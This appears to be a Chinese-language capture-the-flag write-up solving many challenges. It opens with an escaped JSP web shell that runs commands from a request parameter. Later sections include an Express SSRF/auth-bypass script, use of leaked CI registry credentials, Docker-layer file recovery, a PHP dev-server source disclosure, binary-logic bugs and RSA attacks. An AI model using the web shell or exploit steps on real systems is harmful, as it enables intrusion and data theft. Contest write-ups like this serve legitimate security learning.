074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu006e\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0070\uuuu0022\uuuu0029\uuuu0029\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0069\uuuu006e\uuuu0074\uuuu0020\uuuu0061\uuuu0020\uuuu003d\uuuu0020\uuuu002d\uuuu0031\uuuu003b\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu005b\uuuu005d\uuuu0020\uuuu0062\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu005b\uuuu0032\uuuu0030\uuuu0034\uuuu0038\uuuu005d\uuuu003b\uuuu006f\uuuu0075\uuuu0074\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu0028\uuuu0022\uuuu003c\uuuu0070\uuuu0072\uuuu0065\uuuu003e\uuuu0022\uuuu0029\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0061\uuuu003d\uuuu0069\uuuu006e\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu0028\uuuu0062\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu002d\uuuu0031\uuuu0029\uuuu007b\uuuu006f\uuuu0075\uuuu0074\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0028\uuuu0062\uuuu0029\uuuu0029\uuuu003b\uuuu007d\uuuu006f\uuuu0075\uuuu0074\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu0028\uuuu0022\uuuu003c\uuuu002f\uuuu0070\uuuu0072\uuuu0065\uuuu003e\uuuu0022\uuuu0029\uuuu003b\uuuu007d%>
然后就和前一题一样的方法拿到了 flag。
源代码都直接正大光明给你看了,读了好几遍感觉似乎确实没啥漏洞,利用条件都形成了一个闭环。不过既然源代码第一行说 code modified from https://github.com/expressjs/express/blob/4.x/examples/auth/index.js
,那我就一行一行好好比对一下,看看到底修改了哪些地方吧。
结果一看还真发现了问题,在 restrict()
这个中间件的实现,人家原本写的是:
function restrict(req, res, next) { if (req.session.user) { next(); } else { req.session.error = 'Access denied!'; res.redirect('/login'); }}
修改之后变成了:
function restrict(req, res, next) { if (!req.session.user || !req.session.user.admin) { res.redirect('/'); } next();}
没错,原本的代码是有 else
分支的,next()
只有在认证成功的情况下才会被执行。现在变成了即使认证失败也只是把用户重定向到首页,但是后面的代码依然会被执行,只是 res.end()
失效导致用户拿不到执行结果罢了。
那么所有被 restrict()
中间件保护的接口就可以利用了,/test
接口具有发送 HTTP 请求的功能,我们或许可以利用它以 127.0.0.1
的身份访问 /become_admin
接口,然后化身管理员。
app.get('/test', restrict, function(req, res){ const request = require('request').defaults({jar: true}); let url = req.query.url; if (url) { request(url, function (error, response, body) { res.end(body); }); } else { res.end('no url'); }});
不过问题又来了,/test
接口请求的结果并不会返回给我们,因为在那之前我们已经被重定向了,我们又如何拿到 flag 呢?
我们可以在本地以访客身份登录一下拿到 Cookie,然后让 request()
带上我们的 Cookie 去请求 /become_admin
接口,等我们在远端成为管理员之后再用同一个 Cookie 从本地拿 flag 即可。
但是,我们能传给 /test
接口的参数只有一个 url
啊,如何给 request()
传递含 Cookie 的配置项呢?
如果仔细读过 Express.js 官方文档的话,你会在 req.query
这一节发现这样一个红框警告:
(https://expressjs.com/en/api.html#req.query)
没错,这就意味着我们传入的 url
何必只是一个 URL 字符串呢?我们完全可以传入一个 Object。而根据 request
库的官方文档,request()
的第一个参数既可以是 URL 字符串,也可以是一个含有各种配置项的 Object,正好符合利用条件。
(https://github.com/request/request#requestoptions-callback)
按照上述步骤写个 Python 脚本跑一下即可。
import requestsimport times = requests.Session()args = {"username": "guest", "password": "guest"}url = "http://127.0.0.1:3000"r = s.post(url+"/login", data=args, allow_redirects=False)sid = r.headers.get("Set-Cookie").split(";")[0].split("=")[1]r = s.get(url+"/test", params={"url[uri]": "http://127.0.0.1:3000/become_admin", "url[method]": "GET", "url[followAllRedirects]": True, "url[headers][Cookie]": "connect.sid="+sid, "url[jar]": False}, allow_redirects=True)time.sleep(5)r = s.get(url+"/test", params={"url[uri]": url+"/", "url[method]": "GET", "url[headers][Cookie]": "connect.sid="+sid, "url[jar]": False}, allow_redirects=True)r = s.get(url+"/flag", allow_redirects=True)print(r.text)
我的 flag_p 是通过非预期做法拿到的,这里就讲一下题目修改之后正常的思考方式吧。
对目标机器做一下端口扫描,发现 8001 端口开着,直接访问拿到 flag。
通过 crt.sh 检索这个域名所有的 SSL 证书,发现了一个子域名。
访问发现是 Harbor,结合之前具有争议的 CVE-2022-46463,尝试获取公开镜像,结果发现搜索功能不知道为啥 500 了。不过一番摸索后发现 Harbor API 是正常的,通过 https://registry-intra-idc.exsecurity.top/api/v2.0/projects/
拿到所有公开项目,再通过 https://registry-intra-idc.exsecurity.top/api/v2.0/projects/flag_r/repositories/flag_r_a302102434b/artifacts
拿到 flag_r
对应的构建产物信息,然后 docker pull
拉取即可。
拉取下来之后,创建容器,发现并没有 flag。看了眼构建过程发现先是添加了flag.txt
然后又把它删了。
不过这一举动毫无意义,因为 Docker 镜像实际上是层状结构,每一个构建步骤都对应着一层,因此只要把含有 flag.txt
的那一层提取出来即可。通过 docker save -o docker.tar.gz <IMAGE_ID>
获得一个压缩包,里面含有每一层的信息,解压后找到了 flag.txt
。
访问主页 https://www.exsecurity.top/,按下 F12 看到 Hint。
同时我注意到这个网站居然使用的是 Parcel Development Server,哪个正经的生产环境会直接 yarn start
啊,不应该先打包编译出静态文件然后交给专门的生产服务器吗?
然后就在源代码选项卡看到了 __parcel_source_root
,好家伙源代码直接爆出来了。
那么根据 Hint 访问 https://www.exsecurity.top/__parcel_source_root/flag_h.txt
即可。
在 exsecurity_flag_r 那道题发现了隐藏的 Harbor,当时只拉取了 flag_r
镜像,这次把 homepage/corp
镜像也拉下来看看有没有什么特别的地方。
构建历史里似乎没什么特别的,涉及到的 flag 也是 flag_h,那么在本地创建一个容器进去看看。注意到这个网页用的是一个开源项目,于是在 GitHub 上找到原始的项目,和容器内的文件进行了比对,发现只多了 Dockerfile
、flag_h.txt
和 .gitlab-ci.yml
三个文件。
注意到镜像内保留了 .git
,尝试 git log
了一下成功看到了 Git 日志。
似乎依然没啥特别的,就是在原始仓库的基础上多了两个 commit。但是如果你细看一下每个 commit 的文件改动记录,就能发现端倪。
我们看一下 b7986a
这个 commit 的详细信息:
没错,从中我们可以看出 .gitlab-ci.yml
和 Dockerfile
这两个文件并不是在这个 commit 中才添加的,而是早就已经存在于这个镜像内的仓库中了,这与 GitHub 上的原始仓库并不一致。
那么自然就想到去看一看这两个文件究竟是什么时候被添加进来的。通过 Git 操作镜像内的仓库回退到了最初的版本,发现并没有这两个文件,说明是在中间某处被添加的,需要往近处再翻找一下,最后在 f5d21b
版本发现了问题。
通过 git checkout f5d21b
,看一下此时的 .gitlab-ci.yml
,果然看到了敏感信息,是供 CI 登录 Harbor 的账号密码。
那么拿着这个账号密码去 https://registry-intra-idc.exsecurity.top/
登录一下即可看到私有的 flag_s
。
然后用和 flag_r 相同的办法拉取下来,提取出含有 flag.txt
的那一层即可。
(说起来这道题竟然只有我做出来了?!)
直接给出了源代码,一看这怎么可能拿到 flag 嘛,想让 1===0
成立根本就不可能吧。
那么唯一的线索就是 PHPINFO 了,既然主动呈现给我们了那必有蹊跷。
果然,Server API 那一栏写的是 Built-in HTTP Server,说明这个站点用的是 PHP Development Server,又一个拿开发环境当生产环境的。结合 PHP 7.4.21 以及 PHP Development Server 作为关键词进行检索,发现了 PHP Development Server <= 7.4.21 - Remote Source Disclosure 这个漏洞。按照提供的 POC,使用 Burp Suite 复现一下即可拿到 flag.php
源代码。
(注意把 Update Content-Length 去掉)
显然无论选择1还是2都是死路一条,那么根据 chall.c
文件内 stage1()
函数中的这段代码
while(1){ choice = getchar(); if((choice^(status*9)^0x86) == stage1key[status]){ status++; if(status==sizeof(stage1key))break; } else status=0; if(choice == '1' || choice == '2')break;}
写个 C++ 程序爆破一下能够跳出这段循环的输入序列。
#include <bits/stdc++.h>using namespace std;unsigned char stage1key[] = {157, 212, 213, 134, 249, 234, 171, 226, 140, 204, 135, 167, 241, 168, 188, 26, 77, 92, 63, 118, 118, 32, 27, 10, 60, 6, 14, 20};int main() { char choice; for (int i = 0; i < sizeof(stage1key); i++) { for (char choice = 0; choice <= 255; choice++) { if ((choice ^ (i * 9) ^ 0x86) == stage1key[i]) { cout << (int)choice << " "; break; } } } return 0;}
得到正确的输入序列是 27 91 65 27 91 65 27 91 66 27 91 66 27 91 68 27 91 67 27 91 68 27 91 67 98 97 98 97
,对照一下 ASCII 码表输入即可。
过关的条件是必须购买圣剑且力量>10000,只有这么点钱根本就不可能做到嘛。
好在购买树枝的这段代码有点问题。
num=atoi(input_buff);cost=num*50;setcursor((windowX/5)*3+13,windowY/2-10);if(num<=0 || cost <=0){ puts("投机取巧是不行的哦");}else if(money<cost){ puts("金钱不足");}else{ power+=num; money-=cost; printf("获得了%d个树枝,好划算\n",num);}
只要我们输入一个足够大的正整数 num
,使得 num*50
超过 int
类型的上界发生溢出,且溢出很多使得 cost
依然为正但小于 money
,那么就不会出现钱不够的情况,而且还获得了巨大的力量。
比如85899346就符合条件,购买圣剑之后再购买85899346个树枝,即可拿到 flag。
第三关是个迷宫,不过每一步能不能似乎走对全靠运气,因为正确的方向是靠随机数生成的,每次都不一样,这可咋办?
不过看到 srand(time(0)/10);
瞬间就明白了,既然是拿当前的时间作为随机数种子,那么只要我保持本地时间和服务器时间一致,也拿同样的种子,即可预测生成的随机数序列,每一步该咋走也就清楚了。
#include <bits/stdc++.h>using namespace std;int main() { srand(time(0) / 10); char tab[4] = {'W', 'A', 'S', 'D'}; for (int i = 0; i < 10; i++) cout << tab[rand() % 4]; return 0;}
根据生成的序列走即可,注意手速要快,不能和服务器时间差太多,然后就拿到 flag 了。
这关开始不提供源代码了,不过拖进 IDA 逆向一下就可以了。
读了下伪代码发现本意是想让我们在 your_deck/
目录下选择一个怪兽和抓根宝战斗,然而都试了一遍发现 your_deck/
目录下提供给我们的怪兽都弱爆了,根本打不过。
不过没关系,自己的牌不好那就直接抢对手的牌,只需要召唤 your_deck/.../opp_deck/Dragonmaid_Strahl
就搞定了。
顺利拿到 flag。
走迷宫,作为一个 ex-OIer 上来就是一个 DFS,然而根本搜不出路,看来是故意这样设计的,根本就到不了终点。
拖进 IDA 分析代码逻辑,发现确实是严格按照用户的输入一步一步走,判断是否撞墙,拿到 flag 的前置条件也确实必须走到终点,似乎找不到突破口。
仔细观察一下,发现我们的输入被 scanf()
限制了长度为512,存储到了 byte_40C0[]
这个数组里。
再看看 getbit()
函数的实现,发现迷宫的地图数据竟然也存储在 byte_40C0[]
这个数组,只不过是在后半部分,有一个512的偏移量。
这不就有机可乘了嘛。要知道 C 语言中读入一个长度为512的字符串,占用的空间可不是512而是513,因为最后一位是个 \0
,代表字符串结束。这也就意味着如果我们输入的路径有512步,那么地图数据将被篡改,左上角的围墙会消失。
这就为我们打开了一条由 走向 的通路,跑了下 DFS 从 到 是通的,找到了路径。于是我们只要把两段路连起来,再有意增加一些来回移动,把路径的长度凑够512即可。
swswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswswWDDDDDDSDDDDDDDDSSDDDDWWDDSSSSAASSSSDDSSDDWWDDWWAAWWDDDDWWDDWWDDDDDDDDSSSSSSDDSSSSAASSSSDDSSSSSSAAAAAAAAAAAAAASSSSSSSSSSAAAAAASSSSSSSSDDSSSSAASSSSDDSSDDDDDDDDDDDDDDWWDDDDDDDDSSDDDDDDWWDDDDDDSSDDDDDDDDWWWWDDDDSSDDSSDDDDWWWWWWWWDDDDSSDDSSSSSSDDDDWWDDDDDDDDDDDDDDSSDD
(最前面的 sw
是来回移动用来凑长度的)
尝试直接运行程序发现运行不了,拖进 IDA 里看一眼竟然是个 PowerPC 程序,不过只要根据 IDA 反汇编的结果,把代码移植到 X86_64 就可以了吧。幸好程序并不复杂,很快就移植好了。
#include <bits/stdc++.h>using namespace std;unsigned char byte_100200B8[] = {0xFD, 0x58, 0xCB, 0xEE, 0x14, 0x87, 0xE6, 0x90, 0xFC, 0x68, 0xCD, 0xF4, 0x08, 0x87, 0xE9, 0x91, 0xED, 0x58, 0xD7, 0xEA, 0x08, 0xB6, 0xE9, 0x9A, 0xE0, 0x54, 0xDC, 0x00};unsigned long long sub_10000824(unsigned int a1) { long long v1; // r10 unsigned int i; // [sp+74h] [-2Ch] unsigned int j; // [sp+78h] [-28h] long long v5; // [sp+80h] [-20h] long long v6; // [sp+80h] [-20h] unsigned long long *v7; // [sp+88h] [-18h] v7 = new unsigned long long[100000]; v5 = 0LL; if (a1 <= 0xE8) { v6 = (a1 + 1337) * a1 + 7331; } else { for (i = 0; i < 0xE9; ++i) { v7[i] = sub_10000824(a1 - i - 1); if ((i & 1) != 0 && i != 232) v7[i] = v7[i - 1] - v7[i]; } for (j = 0; j < 0xE8; ++j) { if ((j & 1) != 0) v1 = v7[j] * v7[j]; else v1 = v7[j]; v5 += v1; } v6 = v5 + 2023LL * v7[232]; } delete v7; return v6;}char ans[10000];int main() { unsigned long long qword_100200E8 = sub_10000824(0x7331u); for (int i = 0; i <= 0x1A; ++i) ans[i] = byte_100200B8[i] ^ ((unsigned char *)&qword_100200E8)[i % 8]; cout << ans << endl; return 0;}
编译运行,结果发现程序卡住了,一直没有反应,难怪名字叫 Endless。不过作为一个 ex-OIer 一下子就发现了问题,sub_10000824()
是用递归实现的,涉及到了大量的重复计算,这能不慢吗?于是加了一个记忆化数组,优化了一下程序,总算能跑了。
#include <bits/stdc++.h>using namespace std;unsigned char byte_100200B8[] = {0xFD, 0x58, 0xCB, 0xEE, 0x14, 0x87, 0xE6, 0x90, 0xFC, 0x68, 0xCD, 0xF4, 0x08, 0x87, 0xE9, 0x91, 0xED, 0x58, 0xD7, 0xEA, 0x08, 0xB6, 0xE9, 0x9A, 0xE0, 0x54, 0xDC, 0x00};long long mem[100000];unsigned long long sub_10000824(unsigned int a1) { long long v1; // r10 unsigned int i; // [sp+74h] [-2Ch] unsigned int j; // [sp+78h] [-28h] long long v5; // [sp+80h] [-20h] long long v6; // [sp+80h] [-20h] unsigned long long *v7; // [sp+88h] [-18h] v7 = new unsigned long long[100000]; v5 = 0LL; if (a1 <= 0xE8) { v6 = (a1 + 1337) * a1 + 7331; } else { for (i = 0; i < 0xE9; ++i) { v7[i] = (mem[a1 - i - 1] != 0) ? mem[a1 - i - 1] : sub_10000824(a1 - i - 1); if ((i & 1) != 0 && i != 232) v7[i] = v7[i - 1] - v7[i]; } for (j = 0; j < 0xE8; ++j) { if ((j & 1) != 0) v1 = v7[j] * v7[j]; else v1 = v7[j]; v5 += v1; } v6 = v5 + 2023LL * v7[232]; } delete v7; mem[a1] = v6; return v6;}char ans[10000];int main() { unsigned long long qword_100200E8 = sub_10000824(0x7331u); for (int i = 0; i <= 0x1A; ++i) ans[i] = byte_100200B8[i] ^ ((unsigned char *)&qword_100200E8)[i % 8]; cout << ans << endl; return 0;}
然而运行结果却是一堆乱码,并不是我们想要的 flag。
此时离成功只差一步之遥,由于 PowerPC 采用的是 Big Endian(大端序),而我们常用的电脑都是 Little Endian(小端序),因此移植的时候一旦涉及到位运算要小心处理,本题中就需要把 ans[i] = byte_100200B8[i] ^ ((unsigned char *)&qword_100200E8)[i % 8];
修改成 ans[i] = byte_100200B8[i] ^ ((unsigned char *)&qword_100200E8)[7 - i % 8];
,从而在小端序电脑上模拟大端序电脑的运行结果。
#include <bits/stdc++.h>using namespace std;unsigned char byte_100200B8[] = {0xFD, 0x58, 0xCB, 0xEE, 0x14, 0x87, 0xE6, 0x90, 0xFC, 0x68, 0xCD, 0xF4, 0x08, 0x87, 0xE9, 0x91, 0xED, 0x58, 0xD7, 0xEA, 0x08, 0xB6, 0xE9, 0x9A, 0xE0, 0x54, 0xDC, 0x00};long long mem[100000];unsigned long long sub_10000824(unsigned int a1) { long long v1; // r10 unsigned int i; // [sp+74h] [-2Ch] unsigned int j; // [sp+78h] [-28h] long long v5; // [sp+80h] [-20h] long long v6; // [sp+80h] [-20h] unsigned long long *v7; // [sp+88h] [-18h] v7 = new unsigned long long[100000]; v5 = 0LL; if (a1 <= 0xE8) { v6 = (a1 + 1337) * a1 + 7331; } else { for (i = 0; i < 0xE9; ++i) { v7[i] = (mem[a1 - i - 1] != 0) ? mem[a1 - i - 1] : sub_10000824(a1 - i - 1); if ((i & 1) != 0 && i != 232) v7[i] = v7[i - 1] - v7[i]; } for (j = 0; j < 0xE8; ++j) { if ((j & 1) != 0) v1 = v7[j] * v7[j]; else v1 = v7[j]; v5 += v1; } v6 = v5 + 2023LL * v7[232]; } delete v7; mem[a1] = v6; return v6;}char ans[10000];int main() { unsigned long long qword_100200E8 = sub_10000824(0x7331u); for (int i = 0; i <= 0x1A; ++i) ans[i] = byte_100200B8[i] ^ ((unsigned char *)&qword_100200E8)[7 - i % 8]; cout << ans << endl; return 0;}
再次编译运行即可拿到 flag。
拖进 IDA,根据反汇编结果,只要输入的数据通过四个 checker 即可拿到 flag。
checker1()
的逻辑非常简单,可以直接算出正确的输入是 2833100173
。
对于剩下三个 checker,直接写三个 C++ 程序暴力求解正确输入即可。
#include <bits/stdc++.h>using namespace std;bool checker2(int a1) { if (~(3 * (a1 & 0x5427F672) - (a1 | 0xABD8098D) - a1 + 1471157018) == 1352221957) return true; return false;}int main() { for (int i = 0; i <= INT_MAX; i++) { if (checker2(i)) { cout << i << endl; } } return 0;}
#include <bits/stdc++.h>using namespace std;bool checker3(int a1) { if (a1 > 0x10000000) return false; if (4 * ((~a1 & 0xADFDBC7B) + 2 * ~(~a1 | 0xADFDBC7B)) + -3 * (~a1 | 0xADFDBC7B) + 3 * ~(a1 | 0xADFDBC7B) - ((a1 ^ 0xADFDBC7B) - 10 * (a1 & 0xADFDBC7B)) == 590670598) return true; return false;}int main() { for (int i = 0; i <= INT_MAX; i++) { if (checker3(i)) { cout << i << endl; } } return 0;}
#include <bits/stdc++.h>using namespace std;bool checker4(int a1) { if (a1 > 0x10000000) return false; if (11 * ~(a1 ^ 0xE76EDA24) + 4 * ~(~a1 | 0xE76EDA24) - (6 * (a1 & 0xE76EDA24) + 12 * ~(a1 | 0xE76EDA24)) + -5 * a1 - 2 * ~(a1 | 0xCD731B78) - (a1 | 0x328CE487) + 3 * (a1 & 0xCD731B78) - 2 * (-2 * (a1 & 0x328CE487) - (a1 | 0x328CE487)) == -979756886) return true; return false;}int main() { for (int i = 0; i <= INT_MAX; i++) { if (checker4(i)) { cout << i << endl; } } return 0;}
求出来checker2()
的正确输入是 79606647
,checker3()
的正确输入是 84381514
,checker4()
的正确输入有多个:
488710424887155448891522488920345306534653065858530858265308633869842562698430746986304269863554
依次尝试发现只有用最后一个,也就是 69863554
才能拿到 flag。
对密码学完全不了解,只好现学现卖,可能有讲得不对的地方。
看到 ,首先考虑小公钥指数攻击,也就是 依次枚举自然数 ,然而把 范围内的 都枚举遍了也没开方开出整数 ,似乎是因为这道 RSA 有 padding, 的长度为255,导致 需要很大,不能通过枚举破解。
def pad(m): return m + b'\x00' * (255 - len(m))
那么就尝试把 padding 的过程写成数学表达式吧。我们记原本的消息(也就是 flag)为 ,经过 padding 之后的消息为 ,其中 长度未知, 长度为255。尽管我们不知道原本消息的长度,但我们可以大胆假设一下消息的长度不会超过45,于是干脆假设 长度为45,那么 padding 的过程也就相当于在 后面补了210个全0的字节(8*210个0比特)。将 和 看成十进制整数,于是得到这样的关系式:
于是根据 RSA 的加密关系,有:
其中 和 我们都已知,那么等式两边同时乘以 的逆元的三次方,我们就可以得到 ,此时的 因为长度只有45,再应用小公钥指数攻击即可(事实上都不需要加上 ,直接开三次方就开出整数了)。
from Crypto.Util.number import *from gmpy2 import irootn = 16530365897488441262718469160468305284672770158565384656092954623166151666302358404933519039638206427781958395014977873069315249917687177391054598956921816589982653878314268070746187225652226338489804977785763153836685700798637491040895954952095422949071944941698464075339538328682378899518357259255186771307748930179001187349761726049249957165990922342916419869650553300100675697071325624717861450136979864203856665171732760034460573404619831815041691417998362001038634540263831565785650815875836418726271391989975051958347165191015489214380435520924596097210274112756495171085840647510675017795358896351877011292749ct = 1649242716162425826952050775303626268696750298411662319537259424228876945404220528279665292763881515080700349538084002211268837126748044168226799293579149622927076423346431814176280309043104500742869900600491670771220025075170550107937095925147470540522377810395335659166311121764537896320094910974901416858921029589127145477064557304982115657845643933262558300020611395670651783198790515650255634160032636409647553580657649111930945938237122361584298948645275748211120347592403311681019560483613600396814929463355821651618347651685517027239330376660444812896525930403439089808046524555500501484453485168927363278214r = pow(256, 210, n)inv_r = inverse(r, n)m = iroot(ct*inv_r*inv_r*inv_r % n, 3)print(long_to_bytes(m[0]))
上一题的进阶版本,仅仅把 padding 的模式从全零填充换成了填充 \x01
(即 00000001
),提升了难度。
依旧可以用数学语言写出 padding 过程的表达式。我们同样记原本的消息(也就是 flag)为 ,经过 padding 之后的消息为 ,其中 长度未知, 长度为255。同样大胆假设 长度为45,那么 padding 的过程也就相当于在 后面补了210组 00000001
比特。将 和 看成十进制整数,于是得到这样的关系式:
为了方便起见,记 ,,则有:
于是根据 RSA 的加密关系,有:
到这里似乎不太好做了,我们得到的是一个三次多项式的同余方程,至少我解不出来,丢给 Mathematica 也解不出。于是以 modular polynomial equation 作为关键词检索了一下,还真发现个 Coppersmith method 似乎能解决这种方程。看了眼维基百科上的解释,发现这个算法已经在 SageMath 里实现好了,兴冲冲地拿去用,结果报错了。原来 Coppersmith method 要求这个多项式必须是首一多项式,而我们这个多项式最高次项前面有系数,那咋办?
幸好 的逆元存在(记为 ),对方程两边同时乘以 ,得到:
正是我们要的首一多项式,丢给 SageMath 一下子就解出来了,然后还原成字符串即可拿到 flag。
N = 17022643406514350347573614465221696412722093893069884767243788880650197186586896695677232954756001085570908846778062553748252730496162774516963609020852021240663517062164143433972096285671583857300879566762429174925637808711899529732967964744088548497546563683172958195418996012865897850179068749931908849579004796030024201648134080256899877361133867143808268771425201158477438673553801559428342889346934705891370908283804031253368466095743470387105335979770140651537303634622746448342605800452083233872484864431450513349565059478371458778685883614230275550760174388677496289114774270577941915682644246153516217470289cof1 = 7654811310494849798021593535838957164034235239444593486205902159219993926421703675382736379329695891056904149081520547693861134062326098641389076541695740273615825257074586144622272910435465399715878203827537912088549315112808698014263369037918752081172098277372015885102097148298774484125035157739560166495842652029217779403218833310083665224557484221080290003975621827166977961990907179524063242111250847516013776097469541369552121244027979749433406775448931648249048677669133375387657003666276481492775575045012202432238970376100782343002959674306700372647624197337455195019109593666495172341887440308820013321239711500650037549866392293571023406341581272032258884724631008499748540838526080846262329434540196946704941997607070368055096300149231001524974354362242290850539574671138929750078905495728709989761653139350608623351763588394153115266889332314799543522123944869140564794761462407715376789008289297666606580806445423650578459257833446017201266484489232192503190476268978188967560202382641258574743980457090723073685275243864523774890972040243532284179922357320211299391576450146967424476092164536708808786453218538228046110651007766008465069360981098347660922986353534005016703001280857498611505379926430531377684940286187235419934660411981564640971927277585368605013499282800347012605475784878876658114151396049986055252777480623330163491162286948543267881193465776183061720969252071807174119752317677240077013904888955743916764740416213159233248705300095471477946003728069943810518643625544048336096645492268396294902917376777374710548820606726679829973268919708139536446996018991091037080507910108031213136873912997484407049136407524930800997023573109785579998096386020014617612624226217429318823142428722478013610513259570813165411489809668110292268019470478612033821306423824198055594015181282411844750920121928098666451183568631842860947202235633688078282490134227984608930764275993375714782570069572972385163479851595411608898886016021357537686984211550946073052389619548721727524791028368296749663958192484843361421518944692856474123045634905622051718021050098150535474912151674042866007298338223422826435477106751941424146991389196817461134933944899013297900453019373646535519104270109209483142764331015835314416796973382730918278662431581084797266969132054681948475932606176771846573170675271315147832706338578837639590335828082150572278872196493572996251984818196755538381848175512540234665456166483025031150321611008100430334834466691990201664038194633149094316290024648166890101326327329853839595260717240590518708346315806525474328106496722045407192145765309300301279529166880677987677953898044837945676271058541238676364131941619282890367078050354185504881727895408554721469475831056724047431356484508560444484614228508332735300322190760116569626766163917876758870999957114051716788028849750214499415840044346083964165059675360859703331795471145336257825223149623571605708457646256220550406699742879044904821369720949579582839342628722408980240590388167597485077346062248672195253060515834254538311362839230760069268120063806798627852550023831716865619641828556927151302522637544989606854444179517897493746509051369139634737000666856460565542326944167245402284030364095481289608297378400313749602466206279795444081719150470562695110251163487809884174874619498498748519816292463690956911748817685310633148759794795505996488774692645109760cof2 = 30018867884293528619692523669956694760918569566449386220415302585176446770281190883853868154234101533556486859143217834093573074754219994672114025653708785386728726498331710371067736903668491763591679230696227106229605157305132149075542623678112753259498424617145160333733714307054017584804059442115922221552324125604775605502818954157190844017872487141491333348924007165360697890160420311859071537691179794180446180774390358311969102917756783331111399119407575091172739912427974021128066681044221496050099735821921026232223806004629270625439348760884032123993124751524435291770694298367921749818375768759848822720589261659147314469772137180239928013748688221048561868551112287252009963775962651402018062402276849713961757813217748767892321696449318437882881048510802237481015286879165480045302383979733225851700339051690971509535713399173901274068899207913136520332032146344681013815614452648924026183249327624637425057690257739971978521921223751197397536011431725428868555944672709948073557902250311760103002014383079413337392688687066901312054133450274218394568368194058181640958749645380036801679205882852514323441267209442231054327503952120776479487794231297836307072935019376482760723288863455310179906607151903164503892487610528174876743117365993401037529566949312481848879563235609138010365381176726084326180589252355082827750084471514860433262183247361644552185702863353006180234194903879166590991851862742813912282942986826665730661880846396992349434485403404256799202588263619638195294798705542507825307743342885567472568662720449185700892563020720610050671706197248920313974880155282598764839971472984398202291683254151446959918200762941623418469254170314468520205603903903899488981462999811491188125929270565137441077566149023370210069849172143822335046912717225469769936297884065179119242885579397010301002269587025914412843839914485697156425835627326716120072517564835218176486762894277926849166546012797338773719752505879249820586468152881040752941710144094587652405208394474267682635307995555525363991847125278887508182299819757906767298175330658428104620353412651155102122443366942626261131446083653305564097406482708590827433754698726560824042156257389472460812810597643320615196810559003395551284485202617125945949427501548846537405927429764206673125385012334174079195305598468617287415793008103738135227973230749174741295203138265239800923952332395245756743289195713173195741862139060507186975686600042417162792280875368907990375864640374798732287821053226608250054916026034092368145308792329262980836014584645525944889929415902544065242598854005401727147258086776685307623571173511976026326987990520637480949369488868989658013215152581219067366904431437240787162705143625208544493269822842430693688134094157777583640605055668970611905563257125338530784586047061543658777057217021040442472653590599034561748863889357725215129066597092547411303547656971467282965987074522134192605023423240795135416495190235631598988949530266738346726214560994715402558526849405618488358810286021830007817450888972084306350626575143423375807780403032226906706955899470114782969437841974037506865811568281024354878124991629128153143875203404431965544681030413307290390215345627072958376971523100405044212825344700662604170782254201107514512785175420970824053606516818581042803785426295414829220452676745422250758793731435287462398982895726902059653760915865600cof3 = 392403501755470962348921878038649604717889798254240342750526831178777081964460011553645335349465379523614207309061671033902916009859084897674693145800114841656584660108911246680624011812660023053486003015636955636988302709871008484647615995792323572019587249897322357303708683752340099147765482903476107471272210792219288960821162799440403189776110943026030501293124276671381671766802879893582634479623265283404525238880919716496328142715774945504724171495523857400950848528470248642196950079009431320916329115682046440917348234589780631858060140650732077948936020809432618417733922773351014741278185403496239203704257949276693211827112529455406376043585786015763561104008010149879612491975643796937940914551890114438834011899729924571061784700239466963747019370922304255531371095078070745765747037495078056880969871947291392875122401393542818634281648787435605887336278342516814161281656206240042596418440450320829074001103793350699813003342262084317535902506345897323735770846862773118071032767222826888379137311951340481832890676216404309896241488167889951285015457219961400992955544331089193110704856288919470193835721537197504078710017339490574315772460745505431893062427627576999101999599029461840115037836282566741992153478468407269757822191141596410858600864140251759485657875423289039682428838364197573747458759263629085603381247550689806175710841602084838455976337872204476740816184821833045877002996377192701942179543367746186147610570604453229042177604021496062342302343022327591036764349814472305422991094474277750057663137558214412381652113501817446362242284533542516514721094522131896411390738006464444375540958188675556841104987434018249841294833260851642681420375693128503469928362538166626918143083060667512017325132081480171354676123667891533302562821717995721204606565994887254861824868763352221849683779657210582969660689575116927189835039092280472447163999985291990263459925311389765403664535951957016061942101235904775801681946941464857364320182261163345347074467481370953034345454950558619726459916701633324379538997431066615883674285416043606605585455660268383643734919539800106104703705752055955989188448067133728249556746563701260943957019569072935817695219810977371970498812489859089138029714832237586746428436642018085548702309527451280609728940571661747234488686783290155893845196810876222002012664546666411110349037393427398737197571210696780011939434873410379560647531760618644644000355093981984623333464463421